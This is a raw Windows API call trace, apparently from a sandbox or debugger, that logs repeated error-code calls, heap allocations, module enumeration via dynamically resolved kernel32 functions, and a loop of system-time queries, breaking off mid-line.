[0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.070] SetLastError (dwErrCode=0x0) [0050.070] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.071] GetLastError () returned 0x0 [0050.071] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.072] SetLastError (dwErrCode=0x0) [0050.072] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.073] GetLastError () returned 0x0 [0050.073] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.074] SetLastError (dwErrCode=0x0) [0050.074] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.075] SetLastError (dwErrCode=0x0) [0050.075] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x68) returned 0x331990 [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.076] SetLastError (dwErrCode=0x0) [0050.076] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.077] GetLastError () returned 0x0 [0050.077] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.078] GetLastError () returned 0x0 [0050.078] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.079] GetLastError () returned 0x0 [0050.079] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.088] GetLastError () returned 0x0 [0050.088] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.089] SetLastError (dwErrCode=0x0) [0050.089] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.090] SetLastError (dwErrCode=0x0) [0050.090] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.091] GetLastError () returned 0x0 [0050.091] SetLastError (dwErrCode=0x0) [0050.092] GetLastError () returned 0x0 [0050.092] SetLastError (dwErrCode=0x0) [0050.092] GetLastError () returned 0x0 [0050.092] SetLastError (dwErrCode=0x0) [0050.092] GetLastError () returned 0x0 [0050.092] SetLastError (dwErrCode=0x0) [0050.092] GetLastError () returned 0x0 [0050.092] SetLastError (dwErrCode=0x0) [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x98) returned 0x331a00 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1f) returned 0x331aa0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x36) returned 0x331ac8 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x37) returned 0x331b08 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3c) returned 0x331b48 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x31) returned 0x331b90 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x17) returned 0x331bd0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x331bf0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x14) returned 0x331c20 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xd) returned 0x331c40 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x25) returned 0x331c58 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x39) returned 0x331c88 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x331cd0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x17) returned 0x331cf0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe) returned 0x331d10 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x69) returned 0x331d28 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x3e) returned 0x331da0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1b) returned 0x331de8 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1d) returned 0x331e10 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x48) returned 0x331e38 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x331e88 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x331ea8 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1b) returned 0x331ec8 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x24) returned 0x331ef0 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x29) returned 0x331f20 [0050.092] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x331f58 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x41) returned 0x331f80 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x17) returned 0x331fd0 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xf) returned 0x331ff0 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x16) returned 0x332008 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x332028 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x29) returned 0x332060 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x15) returned 0x332098 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1e) returned 0x3320b8 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2a) returned 0x3320e0 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x332118 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x332138 [0050.093] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x46) returned 0x332158 [0050.093] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x3311f8 | out: hHeap=0x330000) returned 1 [0050.094] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x800) returned 0x3321a8 [0050.094] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x80) returned 0x3311f8 [0050.102] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0050.103] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3311f8) returned 0x80 [0050.103] GetLastError () returned 0x0 [0050.103] SetLastError (dwErrCode=0x0) [0050.103] GetLastError () returned 0x0 [0050.103] SetLastError (dwErrCode=0x0) [0050.103] GetLastError () returned 0x0 [0050.103] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.107] GetLastError () returned 0x0 [0050.107] SetLastError (dwErrCode=0x0) [0050.166] GetLastError () returned 0x0 [0050.166] SetLastError (dwErrCode=0x0) [0050.166] GetLastError () returned 0x0 [0050.166] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0050.166] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0050.166] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0050.166] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0050.168] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0050.168] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0050.169] GetTickCount () returned 0x1b4fc [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.169] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.169] GetACP () returned 0x4e4 [0050.169] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.170] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.170] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.170] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0050.171] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0050.171] GetACP () returned 0x4e4 [0050.171] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, 